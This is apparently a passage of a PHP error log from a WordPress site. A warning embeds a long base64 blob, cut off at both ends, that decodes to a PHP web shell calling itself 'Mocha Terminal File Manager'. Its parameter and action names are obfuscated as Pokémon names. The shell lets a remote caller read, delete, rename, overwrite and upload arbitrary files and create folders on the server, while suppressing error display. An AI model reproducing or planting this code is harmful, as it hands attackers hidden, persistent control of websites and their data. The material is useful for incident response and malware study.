JZCgnZWRpdG9yLWFyZWEnKS52YWx1ZSA9IHhoci5yZXNwb25zZVRleHQ7DQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGFsZXJ0KCJFcnJvciBsb2FkaW5nIGZpbGUuIik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0KICAgICAgICB4aHIub3BlbignR0VUJywgJz88P3BocCBlY2hvIFBfUkFXOyA/Pj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGhhc2gpLCB0cnVlKTsNCiAgICAgICAgeGhyLnNlbmQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzYXZlRWRpdCgpIHsNCiAgICAgICAgaWYgKCFjdXJyZW50QWN0aW9uSGFzaCkgcmV0dXJuOw0KICAgICAgICBsZXQgY29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItYXJlYScpLnZhbHVlOw0KICAgICAgICANCiAgICAgICAgbGV0IGZvcm0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdmb3JtJyk7DQogICAgICAgIGZvcm0ubWV0aG9kID0gJ1BPU1QnOw0KICAgICAgICBmb3JtLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQoNCiAgICAgICAgY3JlYXRlSW5wdXQoZm9ybSwgJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JywgJzw/cGhwIGVjaG8gQV9FRElUOyA/PicpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0hBU0g7ID8+JywgY3VycmVudEFjdGlvbkhhc2gpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0NPTlQ7ID8+JywgY29udGVudCk7DQoNCiAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmb3JtKTsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzdWJtaXRBY3Rpb24oYWN0aW9uLCBoYXNoKSB7DQogICAgICAgIGxldCBmb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGlvbi1mb3JtJyk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBhY3Rpb247DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtaGFzaCcpLnZhbHVlID0gaGFzaDsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjcmVhdGVJbnB1dChmb3JtLCBuYW1lLCB2YWx1ZSkgew0KICAgICAgICBsZXQgaW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOw0KICAgICAgICBpbnB1dC50eXBlID0gJ2hpZGRlbic7DQogICAgICAgIGlucHV0Lm5hbWUgPSBuYW1lOw0KICAgICAgICBpbnB1dC52YWx1ZSA9IHZhbHVlOw0KICAgICAgICBmb3JtLmFwcGVuZENoaWxkKGlucHV0KTsNCiAgICB9DQo8L3NjcmlwdD4NCg0KPC9ib2R5Pg0KPC9odG1sPg==:237) in /home/livedhms/streamsza.com/wp-includes/pluggable.php on line 1535
[30-May-2026 21:40:00 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at kqnw://PD9waHAgLyoqDQogKiBNb2NoYSBUZXJtaW5hbCBGaWxlIE1hbmFnZXIgKE5vdGlmaWNhdGlvbnMgRWRpdGlvbikNCiAqIFNpbmdsZSBGaWxlLCBQSFAgNSsgQ29tcGF0aWJsZQ0KICovDQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyBQT0tFTU9OIFBBUkFNRVRFUiBNQVBQSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gR0VUIFBhcmFtcw0KY29uc3QgUF9ESVIgICAgICA9ICdwaWthY2h1JzsgICAgICAgLy8gRGlyZWN0b3J5IGhhc2gNCmNvbnN0IFBfUkFXICAgICAgPSAnYnVsYmFzYXVyJzsgICAgIC8vIFJhdyBmaWxlIHZpZXcgZm9yIGVkaXRvcg0KY29uc3QgUF9NU0cgICAgICA9ICdtZXd0d28nOyAgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdGV4dA0KY29uc3QgUF9UWVBFICAgICA9ICdtb2x0cmVzJzsgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdHlwZSAoc3VjY2Vzcy9lcnJvcikNCg0KLy8gUE9TVCBQYXJhbXMNCmNvbnN0IFBfQUNUSU9OICAgPSAnY2hhcml6YXJkJzsgICAgIC8vIEFjdGlvbiBuYW1lDQpjb25zdCBQX0hBU0ggICAgID0gJ3NxdWlydGxlJzsgICAgICAvLyBGaWxlL0ZvbGRlciBoYXNoDQpjb25zdCBQX1RBUkcgICAgID0gJ3BzeWR1Y2snOyAgICAgICAvLyBUYXJnZXQgZGlyZWN0b3J5IGhhc2ggKGZvciB1cGxvYWQvbWtkaXIpDQpjb25zdCBQX05BTUUgICAgID0gJ2ppZ2dseXB1ZmYnOyAgICAvLyBOZXcgTmFtZSAvIEZvbGRlciBOYW1lDQpjb25zdCBQX0NPTlQgICAgID0gJ3Nub3JsYXgnOyAgICAgICAvLyBGaWxlIGNvbnRlbnQgZm9yIGVkaXQNCmNvbnN0IFBfRklMRSAgICAgPSAnbWVvd3RoJzsgICAgICAgIC8vIFVwbG9hZGVkIGZpbGUgKCRfRklMRVMpDQpjb25zdCBQX0ZEQVRBICAgID0gJ2dlbmdhcic7ICAgICAgICAvLyBCYXNlNjQgZmlsZSBkYXRhDQpjb25zdCBQX0ZOQU1FICAgID0gJ29uaXgnOyAgICAgICAgICAvLyBGaWxlbmFtZSBmb3IgYmFzZTY0IHVwbG9hZA0KDQovLyBBY3Rpb24gVmFsdWVzDQpjb25zdCBBX0RFTCAgICAgID0gJ2h5ZHJvLXB1bXAnOw0KY29uc3QgQV9SRU4gICAgICA9ICdmbGFtZXRocm93ZXInOw0KY29uc3QgQV9FRElUICAgICA9ICdzb2xhci1iZWFtJzsNCmNvbnN0IEFfVVAgICAgICAgPSAnaHlwZXItYmVhbSc7DQpjb25zdCBBX01LRElSICAgID0gJ2VhcnRocXVha2UnOw0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gMS4gRUFSTFkgUkVTUE9OU0UgSEFORExFUlMgKEFKQVggLyBSQVcgVklFVykNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCi8vIEhhbmRsZSBSYXcgVmlldyAoRWRpdG9yIENvbnRlbnQpIC0gTXVzdCBiZSB0b3Agb2YgZmlsZQ0KaWYgKGlzc2V0KCRfR0VUW1BfUkFXXSkpIHsNCiAgICAkaGFzaCA9ICRfR0VUW1BfUkFXXTsNCiAgICAkcGF0aCA9IGJhc2U2NF9kZWNvZGUoJGhhc2gpOw0KICAgIA0KICAgIGlmIChpc19maWxlKCRwYXRoKSkgew0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICByZWFkZmlsZSgkcGF0aCk7DQogICAgICAgIGV4aXQ7DQogICAgfSBlbHNlIHsNCiAgICAgICAgaGVhZGVyKCJIVFRQLzEuMCA0MDQgTm90IEZvdW5kIik7DQogICAgICAgIGV4aXQoIkZpbGUgbm90IGZvdW5kLiIpOw0KICAgIH0NCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDIuIENPTkZJR1VSQVRJT04gJiBTRVRVUA0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7IA0KDQogJGJhc2VfZGlyID0gZ2V0Y3dkKCk7DQogJGJhc2VfZGlyID0gcnRyaW0oJGJhc2VfZGlyLCAnL1xcJyk7DQoNCi8vIEN1cnJlbnQgRGlyZWN0b3J5IExvZ2ljDQogJGN1cnJlbnRfZGlyID0gJGJhc2VfZGlyOw0KaWYgKGlzc2V0KCRfR0VUW1BfRElSXSkpIHsNCiAgICAkZGVjb2RlZCA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbUF9ESVJdKTsNCiAgICBpZiAoJGRlY29kZWQgJiYgaXNfZGlyKCRkZWNvZGVkKSkgew0KICAgICAgICAkY3VycmVudF9kaXIgPSAkZGVjb2RlZDsNCiAgICB9DQp9DQoNCi8vIFJlYWQgTm90aWZpY2F0aW9uIGZyb20gVVJMDQogJHN0YXR1c19tc2cgPSBpc3NldCgkX0dFVFtQX01TR10pID8gaHRtbHNwZWNpYWxjaGFycygkX0dFVFtQX01TR10pIDogJyc7DQogJHN0YXR1c190eXBlID0gaXNzZXQoJF9HRVRbUF9UWVBFXSkgPyAkX0dFVFtQX1RZUEVdIDogJ3N1Y2Nlc3MnOw0KDQpmdW5jdGlvbiBnZXRfc2FmZV9wYXRoKCRwYXRoKSB7DQogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KfQ0KDQpmdW5jdGlvbiBnZXRfaGFzaCgkcGF0aCkgew0KICAgIHJldHVybiBydHJpbShiYXNlNjRfZW5jb2RlKCRwYXRoKSwgJz0nKTsNCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDMuIFBPU1QgSEFORExJTkcgKEFDVElPTlMpDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQovLyBDdXN0b20gUmVkaXJlY3QgaGVscGVyIHRoYXQgY2FycmllcyB0aGUgbWVzc2FnZQ0KZnVuY3Rpb24gcmVkaXJlY3QoJGRpciwgJG1zZyA9ICcnLCAkdHlwZSA9ICdzdWNjZXNzJykgew0KICAgICR1cmwgPSAiPyIgLiBQX0RJUiAuICI9IiAuIGdldF9oYXNoKCRkaXIpOw0KICAgIGlmICgkbXNnKSB7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9NU0cgLiAiPSIgLiB1cmxlbmNvZGUoJG1zZyk7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9UWVBFIC4gIj0iIC4gJHR5cGU7DQogICAgfQ0KICAgIGhlYWRlcigiTG9jYXRpb246ICIgLiAkdXJsKTsNCiAgICBleGl0Ow0KfQ0KDQppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgew0KDQogICAgLy8gMS4gREVMRVRFDQogICAgaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfREVMICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSkgew0KICAgICAgICAkdGFyZ2V0ID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbUF9IQVNIXSk7DQogICAgICAgICRzdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmIChpc19maWxlKCR0YXJnZXQpKSB7DQogICAgICAgICAgICAkc3VjY2VzcyA9IEB1bmxpbmsoJHRhcmdldCk7DQogICAgICAgIH0gZWxzZWlmIChpc19kaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgIGZ1bmN0aW9uIHJybWRpcigkZGlyKSB7DQogICAgICAgICAgICAgICAgJGZpbGVzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRkaXIpLCBhcnJheSgnLicsJy4uJykpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KICAgICAgICAgICAgICAgICAgICAoaXNfZGlyKCIkZGlyLyRmaWxlIikpID8gcnJtZGlyKCIkZGlyLyRmaWxlIikgOiB1bmxpbmsoIiRkaXIvJGZpbGUiKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgcmV0dXJuIEBybWRpcigkZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRzdWNjZXNzID0gcnJtZGlyKCR0YXJnZXQpOw0KICAgICAgICB9DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRzdWNjZXNzID8gIkl0ZW0gZGVsZXRlZC4iIDogIkRlbGV0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAyLiBSRU5BTUUNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfUkVOICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSAmJiBpc3NldCgkX1BPU1RbUF9OQU1FXSkpIHsNCiAgICAgICAgJHRhcmdldCA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUW1BfSEFTSF0pOw0KICAgICAgICAkbmV3X25hbWUgPSBiYXNlbmFtZSgkX1BPU1RbUF9OQU1FXSk7DQogICAgICAgICRkZXN0aW5hdGlvbiA9IGRpcm5hbWUoJHRhcmdldCkgLiAnLycgLiAkbmV3X25hbWU7DQogICAgICAgICRzdWNjZXNzID0gQHJlbmFtZSgkdGFyZ2V0LCAkZGVzdGluYXRpb24pOw0KICAgICAgICByZWRpcmVjdChkaXJuYW1lKCR0YXJnZXQpLCAkc3VjY2VzcyA/ICJSZW5hbWVkIHN1Y2Nlc3NmdWxseS4iIDogIlJlbmFtZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAzLiBTQVZFIEVESVQNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfRURJVCAmJiBpc3NldCgkX1BPU1RbUF9IQVNIXSkgJiYgaXNzZXQoJF9QT1NUW1BfQ09OVF0pKSB7DQogICAgICAgICR0YXJnZXQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX0hBU0hdKTsNCiAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbUF9DT05UXTsNCiAgICAgICAgJHRlbXBfZmlsZSA9ICR0YXJnZXQgLiAnLnRtcF8nIC4gdW5pcWlkKG10X3JhbmQoKSwgdHJ1ZSk7DQogICAgICAgICR3cml0ZV9zdWNjZXNzID0gZXJyb3JfbG9nKCRjb250ZW50LCAzLCAkdGVtcF9maWxlKTsNCiAgICAgICAgDQogICAgICAgICRmaW5hbF9zdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmICgkd3JpdGVfc3VjY2Vzcykgew0KICAgICAgICAgICAgaWYgKEByZW5hbWUoJHRlbXBfZmlsZSwgJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAkZmluYWxfc3VjY2VzcyA9IHRydWU7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIEB1bmxpbmsoJHRlbXBfZmlsZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRsb2cgPSAkZmluYWxfc3VjY2VzcyA/ICJFZGl0IHNhdmVkOiAkdGFyZ2V0IiA6ICJFZGl0IGZhaWxlZDogJHRhcmdldCI7DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRmaW5hbF9zdWNjZXNzID8gIkZpbGUgc2F2ZWQiIDogIlNhdmUgZmFpbGVkLiIsICRmaW5hbF9zdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIiwgJGxvZyk7DQogICAgfQ0KICAgIA0KICAgIC8vIDQuIFVQTE9BRA0KICAgIGVsc2VpZiAoaXNzZXQoJF9QT1NUW1BfQUNUSU9OXSkgJiYgJF9QT1NUW1BfQUNUSU9OXSA9PT0gQV9VUCkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQoNCiAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTsNCiAgICAgICAgaWYgKGlzc2V0KCRfRklMRVNbUF9GSUxFXSkgJiYgJF9GSUxFU1tQX0ZJTEVdWydlcnJvciddID09PSBVUExPQURfRVJSX09LKSB7DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfRklMRVNbUF9GSUxFXVsnbmFtZSddKTsNCiAgICAgICAgICAgICRzdWNjZXNzID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTW1BfRklMRV1bJ3RtcF9uYW1lJ10sICR0YXJnZXRfZGlyIC4gJy8nIC4gJG5hbWUpOw0KICAgICAgICB9IA0KICAgICAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0ZEQVRBXSkgJiYgIWVtcHR5KCRfUE9TVFtQX0ZEQVRBXSkgJiYgaXNzZXQoJF9QT1NUW1BfRk5BTUVdKSkgew0KICAgICAgICAgICAgJGRhdGEgPSAkX1BPU1RbUF9GREFUQV07DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX0ZOQU1FXSk7DQogICAgICAgICAgICBpZiAoYmFzZTY0X2RlY29kZSgkZGF0YSwgdHJ1ZSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgJGRhdGEgPSBwcmVnX3JlcGxhY2UoJyNeZGF0YTp0ZXh0L1x3KztiYXNlNjQsI2knLCAnJywgJGRhdGEpOw0KICAgICAgICAgICAgICAgICRkYXRhID0gYmFzZTY0X2RlY29kZSgkZGF0YSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkc3VjY2VzcyA9IEBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0X2RpciAuICcvJyAuICRuYW1lLCAkZGF0YSkgIT09IGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIHJlZGlyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJVcGxvYWQgY29tcGxldGUuIiA6ICJVcGxvYWQgZmFpbGVkLiIsICRzdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIik7DQogICAgfQ0KICAgIA0KICAgIC8vIDUuIE1LRElSDQogICAgZWxzZWlmIChpc3NldCgkX1BPU1RbUF9BQ1RJT05dKSAmJiAkX1BPU1RbUF9BQ1RJT05dID09PSBBX01LRElSICYmIGlzc2V0KCRfUE9TVFtQX05BTUVdKSkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX05BTUVdKTsNCiAgICAgICAgJHN1Y2Nlc3MgPSBAbWtkaXIoJHRhcmdldF9kaXIgLiAnLycgLiAkbmFtZSk7DQogICAgICAgIHJlZGlyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJEaXJlY3RvcnkgY3JlYXRlZC4iIDogIkNyZWF0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQp9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyA0LiBGSUxFIFNDQU5OSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQogJGZpbGVzID0gYXJyYXkoKTsNCiAkZGlycyA9IGFycmF5KCk7DQoNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkY3VycmVudF9kaXIpKSB7DQogICAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCiAgICAgICAgaWYgKCRlbnRyeSA9PSAiLiIgfHwgJGVudHJ5ID09ICIuLiIpIGNvbnRpbnVlOw0KICAgICAgICANCiAgICAgICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZW50cnk7DQogICAgICAgIA0KICAgICAgICAkcGVybXMgPSBpc19maWxlKCRmdWxsX3BhdGgpID8gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpIDogJ2Ryd3gnOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCRmdWxsX3BhdGgpOw0KICAgICAgICAkbW9kX3RpbWUgPSBkYXRlKCdNIGQgSDppJywgZmlsZW10aW1lKCRmdWxsX3BhdGgpKTsNCiAgICAgICAgJGhhc2ggPSBnZXRfaGFzaCgkZnVsbF9wYXRoKTsNCiAgICAgICAgJGlzX2RpciA9IGlzX2RpcigkZnVsbF9wYXRoKTsNCg0KICAgICAgICAkaXRlbSA9IGFycmF5KA0KICAgICAgICAgICAgJ25hbWUnID0+ICRlbnRyeSwNCiAgICAgICAgICAgICdwZXJtcycgPT4gJHBlcm1zLA0KICAgICAgICAgICAgJ3NpemUnID0+ICRzaXplLA0KICAgICAgICAgICAgJ21vZCcgPT4gJG1vZF90aW1lLA0KICAgICAgICAgICAgJ2hhc2gnID0+ICRoYXNoLA0KICAgICAgICAgICAgJ2lzX2RpcicgPT4gJGlzX2Rpcg0KICAgICAgICApOw0KDQogICAgICAgIGlmICgkaXNfZGlyKSB7DQogICAgICAgICAgICAkZGlyc1tdID0gJGl0ZW07DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkZmlsZXNbXSA9ICRpdGVtOw0KICAgICAgICB9DQogICAgfQ0KICAgIGNsb3NlZGlyKCRoYW5kbGUpOw0KfQ0KDQp1c29ydCgkZGlycywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCnVzb3J0KCRmaWxlcywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCiAkYWxsX2l0ZW1zID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoNCiAkcGFyZW50X2RpciA9IGRpcm5hbWUoJGN1cnJlbnRfZGlyKTsNCiAkY2FuX2dvX3VwID0gKCRwYXJlbnRfZGlyICE9PSAkY3VycmVudF9kaXIpOw0KDQpmdW5jdGlvbiBmb3JtYXRfc2l6ZSgkYnl0ZXMpIHsNCiAgICBpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwNDg1NzYsIDIpIC4gJ00nOw0KICAgIGlmICgkYnl0ZXMgPj0gMTAyNCkgcmV0dXJuIG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTAyNCwgMikgLiAnSyc7DQogICAgcmV0dXJuICRieXRlcyAuICdCJzsNCn0NCg0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWwgbGFuZz0iZW4iPg0KPGhlYWQ+DQogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+a2FrYW8uPC90aXRsZT4NCiAgICA8c3R5bGU+DQogICAgICAgIDpyb290IHsNCiAgICAgICAgICAgIC0tYmctZGFyazogIzFlMWExNzsNCiAgICAgICAgICAgIC0tYmctcGFuZWw6ICMyYTI0MWY7DQogICAgICAgICAgICAtLWJnLWlucHV0OiAjMTUxMjEwOw0KICAgICAgICAgICAgLS10ZXh0LW1haW46ICNlNmQzYjM7DQogICAgICAgICAgICAtLXRleHQtZGltOiAjOGE4MDc1Ow0KICAgICAgICAgICAgLS1hY2NlbnQ6ICNjODliNmQ7DQogICAgICAgICAgICAtLWJvcmRlcjogIzNlMzUyZTsNCiAgICAgICAgICAgIC0tdGVybWluYWwtZm9udDogJ0NvdXJpZXIgTmV3JywgQ291cmllciwgbW9ub3NwYWNlOw0KICAgICAgICAgICAgLS1zdWNjZXNzOiAjN2VjODczOyAvKiBNdXRlZCBHcmVlbiAqLw0KICAgICAgICAgICAgLS1lcnJvcjogI2ZmNWY1NjsgICAvKiBSZWQgKi8NCiAgICAgICAgfQ0KDQogICAgICAgICogeyBib3gtc2l6aW5nOiBib3JkZXItYm94OyB9DQoNCiAgICAgICAgYm9keSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOw0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOw0KICAgICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIGhlaWdodDogMTAwdmg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICB9DQoNCiAgICAgICAgLnRlcm1pbmFsLXdpbmRvdyB7DQogICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgIG1heC13aWR0aDogOTAwcHg7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1wYW5lbCk7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4Ow0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxMHB4IDMwcHggcmdiYSgwLDAsMCwwLjUpOw0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47DQogICAgICAgICAgICBoZWlnaHQ6IDg1dmg7DQogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOw0KICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgICAgICB9DQoNCiAgICAgICAgLyogVG9wIEJhciAqLw0KICAgICAgICAudG9wLWJhciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZzogOHB4IDEycHg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICAgICAgfQ0KDQogICAgICAgIC53aW5kb3ctY29udHJvbHMgeyBkaXNwbGF5OiBmbGV4OyBnYXA6IDhweDsgfQ0KICAgICAgICAuY29udHJvbC1kb3QgeyB3aWR0aDogMTJw